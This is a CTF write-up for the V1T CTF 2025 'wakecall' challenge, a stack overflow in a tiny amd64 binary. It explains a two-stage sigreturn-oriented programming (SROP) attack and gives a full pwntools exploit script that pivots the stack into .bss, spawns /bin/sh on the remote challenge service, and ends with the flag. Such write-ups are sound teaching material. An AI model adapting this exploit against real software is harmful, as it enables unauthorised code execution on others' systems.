Binary Exploitation medium
wakecall
V1T CTF · 2025 · Aug 10, 2025
Two-stage SROP without libc. pop rax; ret + syscall are enough. First frame does read + stack pivot, second frame executes execve("/bin/sh").
Recon
$ checksec chall3
Arch: amd64-64-little RELRO: Full Canary: No NX: on PIE: No (0x400000)
int main() {
char buf[128];
puts("Quack off, I'm debugging my reflection in the pond.");
read(0, buf, 1000);
return 0;
}
128 + 8 = 136 bytes to saved RIP. Useful gadgets:
pop rax; retat0x4011efsyscallat0x4011f1
That’s a full rt_sigreturn primitive.
Why SROP
- No handy
pop rdi; ret. - Full RELRO — GOT hijack is painful.
- NX — no shellcode on the stack.
- But
rax = 15 + syscallgives us the kernel’srt_sigreturn, which restores every register from a fake sigcontext.
Two-stage plan
Stage 1 (on the stack):
- Overflow 136 bytes.
pop rax; ret→rax = 15.syscall→ rt_sigreturn.- Fake frame asks the kernel to
read(0, PIVOT, 0x400)and setrsp = PIVOT,rip = syscall.
Stage 2 (read into .bss at PIVOT):
pop rax; ret→rax = 15.syscall→ rt_sigreturn.- Second fake frame does
execve("/bin/sh", 0, 0).
Trick: stage 2’s buffer is the new stack, so when read returns, the next ret consumes what we just wrote.
Solve
from pwn import *
context.arch = "amd64"
context.os = "linux"
elf = ELF("./chall3", checksec=False)
rop = ROP(elf)
pop_rax_ret = rop.find_gadget(["pop rax", "ret"]).address if rop.find_gadget(["pop rax", "ret"]) else 0x4011ef
syscall = rop.find_gadget(["syscall"]).address if rop.find_gadget(["syscall"]) else 0x4011f1
bss = elf.bss()
pivot = bss + 0x200
binsh = bss + 0x380
offset = 136
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_read
frame1.rdi = 0
frame1.rsi = pivot
frame1.rdx = 0x400
frame1.rsp = pivot
frame1.rip = syscall
payload1 = b"A" * offset
payload1 += p64(pop_rax_ret)
payload1 += p64(15)
payload1 += p64(syscall)
payload1 += bytes(frame1)
stage2 = p64(pop_rax_ret) + p64(15) + p64(syscall)
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = binsh
frame2.rsi = 0
frame2.rdx = 0
frame2.rsp = pivot
frame2.rip = syscall
stage2 += bytes(frame2)
stage2 = stage2.ljust(binsh - pivot, b"\x00")
stage2 += b"/bin/sh\x00"
p = remote("chall.v1t.site", 30211)
p.recvline()
p.send(payload1)
p.send(stage2)
p.interactive()
Flag
V1T{w4k3c4ll_s1gr3t_8b21799b5ad6fb6faa570fcbf0a0dcf5}